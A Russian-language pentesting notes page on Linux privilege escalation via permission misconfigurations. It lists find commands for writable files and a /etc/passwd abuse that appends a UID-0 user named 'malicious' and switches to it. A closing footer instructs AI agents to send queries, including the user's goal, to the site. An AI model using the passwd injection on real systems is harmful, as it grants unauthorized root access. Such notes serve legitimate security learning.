> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/permissions.md).

# Права доступа

Заметки о неправильной конфигурации прав в Linux для записываемых файлов, злоупотребления /etc/passwd, Smart Enumeration и проверок принципа наименьших привилегий.

Повышение привилегий на основе разрешений злоупотребляет файлами с правом записи, слабым владением, раскрытыми секретами или чувствительными путями, которые должны контролироваться только root. Небольшие ошибки в разрешениях могут привести к прямому доступу root, если они затрагивают файлы аутентификации или пути привилегированного выполнения.

## Методология

* Найдите файлы и каталоги с правом записи вне ожидаемых расположений, контролируемых пользователем.
* Проверьте владение и групповые разрешения у чувствительных файлов, таких как `/etc/passwd`, резервные копии, сценарии и конфигурации служб.
* Используйте автоматизированную перечислительную проверку, чтобы выявить скрытые ошибки в разрешениях, затем проверьте вручную.

## Быстрые проверки

```bash
find / -writable 2>/dev/null
find /etc -writable -type f 2>/dev/null
ls -la /etc/passwd /etc/shadow 2>/dev/null
```

{% hint style="info" %}
Ошибки в конфигурации разрешений раскрывают низкопривилегированным пользователям чувствительные файлы, пути с правом записи или действия, доступные только администратору. Всегда проверяйте файлы с правом записи, владение, доступ групп и контекст выполнения.
{% endhint %}

## Чувствительные файлы с правом записи

В первую очередь проверяйте системные файлы с правом записи, конфигурации служб, резервные копии и сценарии, которые запускает root.

```bash
find /etc -writable -type f 2>/dev/null
find /etc/service/ -writable 2>/dev/null
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
```

### `/etc/passwd` Злоупотребление

Если `/etc/passwd` доступен для записи, сгенерируйте контролируемый хэш и добавьте временного пользователя с правами, эквивалентными root, только в лаборатории или на авторизованной цели:

```bash
openssl passwd -1 -salt xyz password123
echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd
su malicious
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-key" style="color:$primary;">:key:</i></h3></td><td><h4>Калькулятор прав Linux</h4></td><td>Ищите восьмеричные и символьные разрешения, преобразуйте режимы, проверяйте биты SUID/SGID/sticky и оценивайте риск повышения привилегий.</td><td><a href="/ru/privesc/permissions/linux-permissions-calculator.md">Калькулятор прав доступа Linux</a></td></tr><tr><td><h3><i class="fa-magnifying-glass" style="color:$primary;">:magnifying-glass:</i></h3></td><td><h4>Умное перечисление</h4></td><td>Заметки по инструменту Smart Enumeration для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность.</td><td><a href="/ru/privesc/permissions/smart-enumeration-linux-privilege-escalation.md">Smart Enumeration - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-shield-halved" style="color:$primary;">:shield-halved:</i></h3></td><td><h4>/etc/passwd — злоупотребление записью</h4></td><td>Заметки по управлению разрешениями (/etc/passwd) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность.</td><td><a href="/ru/privesc/permissions/etc-passwd-write-abuse-linux-privilege-escalation.md">/etc/passwd Write Abuse - эскалация привилегий в Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/permissions.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
